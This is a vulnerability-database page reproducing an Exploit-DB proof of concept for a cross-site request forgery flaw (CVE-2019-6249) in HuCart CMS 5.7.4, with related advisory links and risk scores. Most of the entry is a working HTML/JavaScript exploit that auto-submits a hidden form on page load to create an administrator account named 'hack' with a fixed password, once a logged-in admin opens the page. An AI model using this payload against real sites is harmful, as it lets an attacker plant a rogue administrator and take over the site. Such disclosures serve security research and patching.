Lucene search
K

Hucart CMS 5.7.4 - Cross-Site Request Forgery (Add Administrator Account)

🗓️ 14 Jan 2019 00:00:00Reported by AllenChenType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 126 Views

Hucart CMS 5.7.4 CSRF vulnerability add administrator account via cross-site request forger

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Hucart CMS 5.7.4 - Cross-Site Request Forgery Vulnerability
14 Jan 201900:00
zdt
CNVD
HuCart Cross-Site Request Forgery Vulnerability
14 Jan 201900:00
cnvd
CVE
CVE-2019-6249
13 Jan 201915:00
cve
Cvelist
CVE-2019-6249
13 Jan 201915:00
cvelist
EUVD
EUVD-2019-15816
7 Oct 202500:30
euvd
exploitpack
Hucart CMS 5.7.4 - Cross-Site Request Forgery (Add Administrator Account)
14 Jan 201900:00
exploitpack
NVD
CVE-2019-6249
13 Jan 201915:29
nvd
OSV
CVE-2019-6249
13 Jan 201915:29
osv
Packet Storm
Hucart CMS 5.7.4 Cross Site Request Forgery
15 Jan 201900:00
packetstorm
Prion
Cross site request forgery (csrf)
13 Jan 201915:29
prion
Rows per page
<!--
# Exploit Title: Hucart cms v5.7.4 CSRF vulnerability add administrator account
# Date: 2019-01-13
# Exploit Author: AllenChen([email protected])
# Vendor Homepage: http://www.hucart.com/
# Software Link: http://www.hucart.com/
# Version: v5.7.4
# CVE : CVE-2019-6249
 
An issue was discovered in HuCart v5.7.4. There is a CSRF vulnerability that can add an admin account via /adminsys/index.php?load=admins&act=edit_info&act_type=add.(References:http://www.iwantacve.cn/index.php/archives/109/)

After the administrator logged in, open the csrf exp page.
-->


<html><body>
<script type="text/javascript">
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;


fields += "<input type='hidden' name='adm_user' value='hack' />";
fields += "<input type='hidden' name='adm_email' value='[email protected]' />";  
fields += "<input type='hidden' name='adm_mobile' value='13888888888' />";  
fields += "<input type='hidden' name='adm_pwd' value='hack123' />";  
fields += "<input type='hidden' name='re_adm_pwd' value='hack123' />";  
fields += "<input type='hidden' name='adm_enabled' value='1' />";  
fields += "<input type='hidden' name='act_type' value='add' />";  
fields += "<input type='hidden' name='adm_id' value='' />";  


var url = "http://localhost/hucart_cn/adminsys/index.php?load=admins&act=edit_info&act_type=add";
post(url,fields);
}
window.onload = function() { csrf_hack();}
</script>
</body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jan 2019 00:00Current
8.8High risk
Vulners AI Score8.8
CVSS 26.8
CVSS 38.8
EPSS0.00412
126